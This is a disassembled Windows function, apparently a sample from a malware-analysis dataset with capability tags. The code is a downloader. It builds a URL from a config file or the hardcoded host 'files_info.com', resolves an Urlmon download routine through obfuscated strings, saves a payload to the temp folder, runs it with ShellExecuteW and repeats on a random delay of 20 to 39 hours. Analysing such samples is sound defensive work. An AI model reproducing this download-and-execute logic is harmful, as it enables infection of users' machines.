Function at 0x40ab00
Capabilities:
Create process on windows
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4235a4
mov eax, dword fs:[0]
push eax
mov eax, 0x1a38
call fcn.00410c20
mov eax, dword [0x42b314]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x19c8], ecx
push 0x104
mov eax, dword [ebp - 0x19c8]
add eax, 0x30
push eax
push str._CommonProgramFiles_Config_ver.xml
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0xd4]
call fcn.00403f40
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x10c]
call fcn.00403f40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xb8]
call fcn.00403f40
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xf0]
call fcn.00403f40
mov byte [ebp - 4], 3
push 0x493e0
mov ecx, dword [ebp - 0x19c8]
call fcn.0040aab0
test eax, eax
jne 0x40abe6
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xf0]
call fcn.004040b0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xb8]
call fcn.004040b0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10c]
call fcn.004040b0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd4]
call fcn.004040b0
jmp 0x40b607
lea ecx, [ebp - 0x1124]
push ecx
call fcn.0040c300
add esp, 4
push 0x44
call fcn.0040ff6d
add esp, 4
mov dword [ebp - 0x198c], eax
mov byte [ebp - 4], 4
cmp dword [ebp - 0x198c], 0
je 0x40ac25
mov ecx, dword [ebp - 0x198c]
call fcn.0040d980
mov dword [ebp - 0x19cc], eax
jmp 0x40ac2f
mov dword [ebp - 0x19cc], 0
mov edx, dword [ebp - 0x19cc]
mov dword [ebp - 0x1988], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x1988]
mov dword [ebp - 0x1114], eax
mov ecx, dword [ebp - 0x19c8]
add ecx, 0x30
push ecx
mov ecx, dword [ebp - 0x1114]
call fcn.0040df70
movzx edx, al
test edx, edx
je 0x40ad13
push 0x425278
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x1114]
call fcn.0040e960
mov dword [ebp - 0x19d0], eax
mov ecx, dword [ebp - 0x19d0]
mov dword [ebp - 0x19d4], ecx
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x19d4]
push edx
lea ecx, [ebp - 0xd4]
call fcn.0040b9b0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c]
call fcn.004040b0
push 0x425280
push 0x5e74
push 0x4e6e
push 0x47a1
call fcn.00405240
add esp, 0x10
push eax
lea eax, [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x1114]
call fcn.0040eac0
mov dword [ebp - 0x19d8], eax
mov ecx, dword [ebp - 0x19d8]
mov dword [ebp - 0x19dc], ecx
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x19dc]
push edx
lea ecx, [ebp - 0x10c]
call fcn.0040b9b0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x48]
call fcn.004040b0
lea ecx, [ebp - 0x10c]
call fcn.00403ff0
movzx eax, al
test eax, eax
je 0x40ad35
push str.files_info.com
lea ecx, [ebp - 0x10c]
call fcn.00403fb0
lea ecx, [ebp - 0x10c]
call fcn.00404110
push eax
push str.Lbev0zw62NrJ9iTf8iaw9NVjZ9mH17U
push 0x4d76
push 0x6a51
push 0x40a9
call fcn.00405240
add esp, 0x10
push eax
lea ecx, [ebp - 0x110c]
push ecx
call fcn.0040bd00
add esp, 0xc
lea edx, [ebp - 0x110c]
push edx
lea ecx, [ebp - 0x11fc]
call fcn.0040c410
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x11fc]
call fcn.0040c870
lea ecx, [ebp - 0x11fc]
call fcn.0040b620
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x11fc]
call fcn.0040c640
mov byte [ebp - 0x110d], al
movzx ecx, byte [ebp - 0x110d]
test ecx, ecx
je 0x40b4ba
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1990], esp
lea edx, [ebp - 0xb8]
push edx
call fcn.00409180
mov dword [ebp - 0x19e0], eax
mov eax, dword [ebp - 0x19e0]
mov dword [ebp - 0x19e4], eax
mov byte [ebp - 4], 8
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1994], esp
lea edx, [ebp - 0xd4]
push edx
call fcn.00409180
mov dword [ebp - 0x19e8], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x19c8]
call fcn.0040a780
mov dword [ebp - 0x19ec], eax
cmp dword [ebp - 0x19ec], 0
jge 0x40b4ba
mov eax, dword [ebp - 0x19c8]
add eax, 0x30
push eax
lea ecx, [ebp - 0x11fc]
call fcn.0040c820
lea ecx, [ebp - 0xf0]
push ecx
lea edx, [ebp - 0x10c]
push edx
lea ecx, [ebp - 0x11fc]
call fcn.0040c6f0
movzx eax, al
test eax, eax
je 0x40b4ba
lea ecx, [ebp - 0xf0]
call fcn.00404110
push eax
lea ecx, [ebp - 0x10c]
call fcn.00404110
push eax
push str.http:___s__docs__s
lea ecx, [ebp - 0x110c]
push ecx
call fcn.0040bd00
add esp, 0x10
lea edx, [ebp - 0x1644]
push edx
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x1220]
push eax
mov ecx, dword [ebp - 0x19c8]
call fcn.0040b640
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1220]
call fcn.00404110
push eax
lea ecx, [ebp - 0x1644]
push ecx
push 0x2990
push str.YLCHhnU7koff
push 0x4ab6
push 0x602b
push 0xe45
call fcn.00405240
add esp, 0x14
push eax
lea edx, [ebp - 0x1434]
push edx
call fcn.0040bd30
add esp, 0x10
push 0x4a85
push str.EJGX52limZPVuB_v8gOqt8ZR
push 0x1223
push 0x693d
push 0x3faa
call fcn.004050a0
add esp, 0x14
mov dword [ebp - 0x1204], eax
mov eax, dword [ebp - 0x1204]
push eax
push str.Urlmon.dll
call fcn.00404ce0
add esp, 8
mov dword [ebp - 0x1200], eax
cmp dword [ebp - 0x1200], 0
je 0x40b4ab
push 0
push 0
lea ecx, [ebp - 0x1434]
push ecx
lea edx, [ebp - 0x110c]
push edx
push 0
call dword [ebp - 0x1200]
mov dword [ebp - 0x1648], eax
cmp dword [ebp - 0x1648], 0
jne 0x40b4ab
push 0x7c5c
push 0x5fe2
push 0x425314
push 0x43be
push 0x2d15
push 0x1ff0
call fcn.004050a0
add esp, 0x18
push eax
lea ecx, [ebp - 0x16c4]
call fcn.004018f0
mov byte [ebp - 4], 0xa
push 0x200e
push 0x11a4
push 0x425320
push 0x7d2f
push 0x3353
push 0x101c
call fcn.004050a0
add esp, 0x18
push eax
lea ecx, [ebp - 0x16e0]
call fcn.004018f0
mov byte [ebp - 4], 0xb
push 0x425330
push 0x5b69
push 0x46d8
push 0x26ab
call fcn.004050a0
add esp, 0x10
push eax
lea ecx, [ebp - 0x16fc]
call fcn.004018f0
mov byte [ebp - 4], 0xc
push 0x4251f1
lea ecx, [ebp - 0x16a8]
call fcn.004018f0
mov byte [ebp - 4], 0xd
push 1
push 0x5129
push 0x430f
push str.Jqq_
push 0x2d32
push 0x6ad2
push 0x1c6d
call fcn.004050a0
add esp, 0xfffffffc
mov ecx, esp
mov dword [ebp - 0x1998], esp
push eax
call fcn.004018f0
mov dword [ebp - 0x19f0], eax
mov eax, dword [ebp - 0x19f0]
mov dword [ebp - 0x19f4], eax
mov byte [ebp - 4], 0xe
push 0x6982
push 0x425368
push 0x5a51
push 0x7e12
push 0x74b5
call fcn.004050a0
add esp, 0xfffffff8
mov ecx, esp
mov dword [ebp - 0x199c], esp
push eax
call fcn.004018f0
mov dword [ebp - 0x19f8], eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x173c]
call fcn.00401060
mov dword [ebp - 0x19fc], eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x16c4]
push ecx
lea ecx, [ebp - 0x173c]
call fcn.00401380
movzx edx, al
test edx, edx
jne 0x40b106
push 0x23ed
push str.cPLvmw
push 0x5e89
push 0x38e0
push 0x14f2
call fcn.004050a0
add esp, 0x14
push eax
lea ecx, [ebp - 0x16c4]
call fcn.00402a10
jmp 0x40b16c
lea eax, [ebp - 0x19a0]
push eax
lea ecx, [ebp - 0x16c4]
call fcn.0040b8f0
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x19a4]
push edx
lea ecx, [ebp - 0x16c4]
call fcn.0040b8c0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x64]
call fcn.0040bd60
mov dword [ebp - 0x1a00], eax
mov ecx, dword [ebp - 0x1a00]
mov dword [ebp - 0x1a04], ecx
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x1a04]
push edx
lea ecx, [ebp - 0x16c4]
call fcn.00401650
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x64]
call fcn.00401a00
push 1
push 0xaaa
push str.Jq26zmM
push 0xdf7
push 0x212d
push 0x4be8
call fcn.004050a0
add esp, 0xfffffff8
mov ecx, esp
mov dword [ebp - 0x19a8], esp
push eax
call fcn.004018f0
mov dword [ebp - 0x1a08], eax
mov eax, dword [ebp - 0x1a08]
mov dword [ebp - 0x1a0c], eax
mov byte [ebp - 4], 0x11
push 0x4ac9
push 0x425398
push 0x2bc0
push 0x6687
push 0x7b11
call fcn.004050a0
add esp, 0xfffffff8
mov ecx, esp
mov dword [ebp - 0x19ac], esp
push eax
call fcn.004018f0
mov dword [ebp - 0x1a10], eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x168c]
call fcn.00401060
mov dword [ebp - 0x1a14], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x16e0]
push ecx
lea ecx, [ebp - 0x168c]
call fcn.00401380
movzx edx, al
test edx, edx
jne 0x40b249
push 0x64e3
push str.ILuvxmhmnpDU
push 0x5d8d
push 0x2ae6
push 0x4ecf
call fcn.004050a0
add esp, 0x14
push eax
lea ecx, [ebp - 0x16e0]
call fcn.00402a10
jmp 0x40b2af
lea eax, [ebp - 0x19b0]
push eax
lea ecx, [ebp - 0x16e0]
call fcn.0040b8f0
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x19b4]
push edx
lea ecx, [ebp - 0x16e0]
call fcn.0040b8c0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x80]
call fcn.0040bd60
mov dword [ebp - 0x1a18], eax
mov ecx, dword [ebp - 0x1a18]
mov dword [ebp - 0x1a1c], ecx
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x1a1c]
push edx
lea ecx, [ebp - 0x16e0]
call fcn.00401650
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x80]
call fcn.00401a00
push 1
push 0x7b3b
push str.Nqq_
push 0x2bda
push 0x56f9
push 0x2a7e
call fcn.004050a0
add esp, 0xfffffff8
mov ecx, esp
mov dword [ebp - 0x19b8], esp
push eax
call fcn.004018f0
mov dword [ebp - 0x1a20], eax
mov eax, dword [ebp - 0x1a20]
mov dword [ebp - 0x1a24], eax
mov byte [ebp - 4], 0x14
push str.Fqy913F0hZrmmhfSCu3
push 0x758c
push 0x1176
push 0x6e16
call fcn.004050a0
add esp, 0xfffffff4
mov ecx, esp
mov dword [ebp - 0x19bc], esp
push eax
call fcn.004018f0
mov dword [ebp - 0x1a28], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x1984]
call fcn.00401060
mov dword [ebp - 0x1a2c], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x16fc]
push ecx
lea ecx, [ebp - 0x1984]
call fcn.00401380
movzx edx, al
test edx, edx
jne 0x40b382
push str.dfPrkzYlx8K6UuLrXXz65M2JcfPiulLi6118uTNiU
push 0x341a
push 0x475c
push 0x541
call fcn.004050a0
add esp, 0x10
push eax
lea ecx, [ebp - 0x16fc]
call fcn.00402a10
jmp 0x40b3ee
lea eax, [ebp - 0x19c0]
push eax
lea ecx, [ebp - 0x16fc]
call fcn.0040b8f0
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x19c4]
push edx
lea ecx, [ebp - 0x16fc]
call fcn.0040b8c0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x9c]
call fcn.0040bd60
mov dword [ebp - 0x1a30], eax
mov ecx, dword [ebp - 0x1a30]
mov dword [ebp - 0x1a34], ecx
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x1a34]
push edx
lea ecx, [ebp - 0x16fc]
call fcn.00401650
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x9c]
call fcn.00401a00
lea ecx, [ebp - 0x16fc]
call fcn.00401a60
push eax
lea ecx, [ebp - 0x16e0]
call fcn.00401a60
push eax
lea ecx, [ebp - 0x16c4]
call fcn.00401a60
push eax
push str._ci__S__en__S__id__S
lea eax, [ebp - 0x1944]
push eax
call fcn.0040be00
add esp, 0x14
push 0
push 0
lea ecx, [ebp - 0x1944]
push ecx
lea edx, [ebp - 0x1434]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x1984]
call fcn.00401000
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x168c]
call fcn.00401000
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x173c]
call fcn.00401000
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x16a8]
call fcn.00401a00
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x16fc]
call fcn.00401a00
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x16e0]
call fcn.00401a00
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x16c4]
call fcn.00401a00
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1220]
call fcn.004040b0
push 0
call fcn.0040c300
add esp, 4
push eax
call fcn.00411a04
add esp, 4
call fcn.00411a16
cdq
mov ecx, 0x14
idiv ecx
add edx, 0x14
mov dword [ebp - 0x1118], edx
mov eax, dword [ebp - 0x1118]
imul eax, eax, 0xe10
cdq
add eax, dword [ebp - 0x1124]
adc edx, dword [ebp - 0x1120]
mov dword [ebp - 0x1134], eax
mov dword [ebp - 0x1130], edx
lea edx, [ebp - 0x1124]
push edx
call fcn.0040c300
add esp, 4
mov eax, dword [ebp - 0x1120]
push eax
mov ecx, dword [ebp - 0x1124]
push ecx
mov edx, dword [ebp - 0x1130]
push edx
mov eax, dword [ebp - 0x1134]
push eax
call fcn.0040c2e0
add esp, 0x10
fnstcw word [ebp - 0x1a36]
movzx eax, word [ebp - 0x1a36]
or eax, 0xc00
mov dword [ebp - 0x1a3c], eax
fldcw word [ebp - 0x1a3c]
fistp qword [ebp - 0x1a44]
fldcw word [ebp - 0x1a36]
mov ecx, dword [ebp - 0x1a44]
mov dword [ebp - 0x1128], ecx
mov edx, dword [ebp - 0x1128]
imul edx, edx, 0x3e8
push edx
mov ecx, dword [ebp - 0x19c8]
add ecx, 0x28
call fcn.00402980
mov dword [ebp - 0x1138], eax
cmp dword [ebp - 0x1138], 0
jne 0x40b5ac
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x11fc]
call fcn.0040c4f0
jmp 0x40b5c8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x11fc]
call fcn.0040c4f0
mov eax, 1
test eax, eax
jne 0x40abe6
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xf0]
call fcn.004040b0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xb8]
call fcn.004040b0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10c]
call fcn.004040b0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd4]
call fcn.004040b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040fee0
mov esp, ebp
pop ebp
ret